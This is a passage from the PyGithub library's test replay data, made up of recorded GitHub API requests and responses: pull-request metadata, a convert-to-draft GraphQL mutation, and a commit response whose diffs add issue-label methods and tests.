url":"https://api.github.com/repos/didot/PyGithub/downloads","issues_url":"https://api.github.com/repos/didot/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/didot/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/didot/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/didot/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/didot/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/didot/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/didot/PyGithub/deployments","created_at":"2025-01-06T08:03:32Z","updated_at":"2025-01-06T08:03:32Z","pushed_at":"2025-01-06T09:16:28Z","git_url":"git://github.com/didot/PyGithub.git","ssh_url":"git@github.com:didot/PyGithub.git","clone_url":"https://github.com/didot/PyGithub.git","svn_url":"https://github.com/didot/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14406,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":2,"watchers":0,"default_branch":"main"}},"base":{"label":"didot:main","ref":"main","sha":"3d84a47a88f6757514cb3ee91b829f53ba09e7e0","user":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"repo":{"id":912699737,"node_id":"R_kgDONmaxWQ","name":"PyGithub","full_name":"didot/PyGithub","private":false,"owner":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/didot/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/didot/PyGithub","forks_url":"https://api.github.com/repos/didot/PyGithub/forks","keys_url":"https://api.github.com/repos/didot/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/didot/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/didot/PyGithub/teams","hooks_url":"https://api.github.com/repos/didot/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/didot/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/didot/PyGithub/events","assignees_url":"https://api.github.com/repos/didot/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/didot/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/didot/PyGithub/tags","blobs_url":"https://api.github.com/repos/didot/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/didot/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/didot/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/didot/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/didot/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/didot/PyGithub/languages","stargazers_url":"https://api.github.com/repos/didot/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/didot/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/didot/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/didot/PyGithub/subscription","commits_url":"https://api.github.com/repos/didot/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/didot/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/didot/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/didot/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/didot/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/didot/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/didot/PyGithub/merges","archive_url":"https://api.github.com/repos/didot/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/didot/PyGithub/downloads","issues_url":"https://api.github.com/repos/didot/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/didot/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/didot/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/didot/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/didot/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/didot/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/didot/PyGithub/deployments","created_at":"2025-01-06T08:03:32Z","updated_at":"2025-01-06T08:03:32Z","pushed_at":"2025-01-06T09:16:28Z","git_url":"git://github.com/didot/PyGithub.git","ssh_url":"git@github.com:didot/PyGithub.git","clone_url":"https://github.com/didot/PyGithub.git","svn_url":"https://github.com/didot/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14406,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":2,"watchers":0,"default_branch":"main"}},"_links":{"self":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/1"},"html":{"href":"https://github.com/didot/PyGithub/pull/1"},"issue":{"href":"https://api.github.com/repos/didot/PyGithub/issues/1"},"comments":{"href":"https://api.github.com/repos/didot/PyGithub/issues/1/comments"},"review_comments":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/1/comments"},"review_comment":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/1/commits"},"statuses":{"href":"https://api.github.com/repos/didot/PyGithub/statuses/fc649fcb08085ec609caf01d7d3404b2b7397f59"}},"author_association":"OWNER","auto_merge":null,"active_lock_reason":null,"merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":1,"deletions":0,"changed_files":1} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: ConvertPullRequestToDraftInput!) { convertPullRequestToDraft(input: $input) { clientMutationId pullRequest { isDraft } } }", "variables": {"input": {"pullRequestId": "PR_kwDONmaxWc6Gyusn"}}} 200 [('Date', 'Mon, 06 Jan 2025 09:34:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-05 08:39:31 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1736156959'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '9D73:7BB2F:2B0CB609:2C2C364D:677BA3A0')] {"data":{"convertPullRequestToDraft":{"clientMutationId":null,"pullRequest":{"isDraft":true}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateComment.txt0000644000175100001660000005231514756101563024637 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent 